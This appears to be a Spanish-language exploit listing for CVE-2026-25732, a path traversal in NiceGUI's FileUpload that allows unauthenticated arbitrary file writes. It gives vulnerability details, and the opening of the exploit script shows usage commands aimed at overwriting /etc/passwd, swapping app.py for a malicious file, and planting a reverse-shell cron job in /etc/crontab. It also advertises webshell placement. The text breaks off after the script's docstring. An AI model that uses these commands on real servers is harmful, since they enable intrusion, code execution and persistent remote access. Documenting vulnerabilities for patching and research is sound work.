
Exploit para CVE-2026-25732, un path traversal en FileUpload de NiceGUI que permite la escritura arbitraria de archivos sin autenticación. Incluye ejemplos de uso para sobrescribir archivos de la aplicación o colocar webshells.
Autor: Mohammed Idrees Banyamer
Contacto:
Título del Exploit: Path Traversal en NiceGUI en FileUpload que Conduce a Escritura Arbitraria de Archivos
Fecha: 2025-06-06
Probado en: NiceGUI ≤ 3.6.1 (Python 3.8 – 3.12 en Linux / Windows)
Corregido en: NiceGUI 3.7.0
CVE: CVE-2026-25732
Debilidad: CWE-22 — Limitación Inadecuada de un Nombre de Ruta a un Directorio Restringido
Vector de Ataque: Red
Privilegios Requeridos: Ninguno
Interacción del Usuario: Ninguna
Plataforma: Aplicación Web (NiceGUI / Python)
Las versiones de NiceGUI ≤ 3.6.1 no sanean adecuadamente el campo name de los archivos subidos en el manejador ui.upload() / FileUpload cuando el desarrollador de la aplicación utiliza el nombre de archivo original en la ruta de guardado sin saneamiento adicional.
Esto permite a un atacante no autenticado escribir archivos arbitrarios en cualquier lugar donde el proceso de NiceGUI tenga permisos de escritura mediante secuencias de path traversal (../, rutas absolutas, etc.).
Ejemplos comunes de impacto:
app.py / main.py → ejecución de código al recargar/reiniciar la aplicación/etc/, directorios personales, .ssh/, carpetas de configuración, etc.#!/usr/bin/env python3
"""
CVE-2026-25732 — Escritura arbitraria de archivos en NiceGUI (path traversal)
Explota FileUpload.name sin saneamiento cuando la app lo usa en la ruta de guardado.
Uso:
python exploit_cve_2026_25732.py http://target:8080 "../etc/passwd" payload.txt
python exploit_cve_2026_25732.py http://target:8080 "../app.py" malicious_app.py
python exploit_cve_2026_25732.py http://target:8080 "nicegui/../../../etc/crontab" revshell-cron
"""